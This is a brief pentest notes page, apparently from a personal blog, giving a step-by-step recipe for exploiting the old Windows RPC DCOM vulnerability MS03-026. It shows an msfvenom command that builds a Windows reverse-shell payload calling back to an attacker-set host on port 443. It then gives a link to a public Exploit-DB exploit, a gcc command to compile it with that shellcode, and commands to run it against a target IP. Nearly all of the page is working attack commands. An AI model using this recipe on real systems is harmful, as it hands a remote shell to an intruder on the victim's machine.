> For the complete documentation index, see [llms.txt](https://notes.morph3.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.morph3.blog/windows/exploits/ms03-026-rpc-dcom.md).

# MS03-026 - RPC DCOM

Generating reverse shell payload

```
msfvenom -p windows/shell_reverse_tcp LHOST=x LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
```

Compile the exploit with your shellcode inside

* <https://www.exploit-db.com/exploits/66>

```
gcc ms03-026.c -o ms03-026
```

Run the exploit

```
./ms03-026 5 10.3.3.7
./ms03-026 6 10.3.3.7
```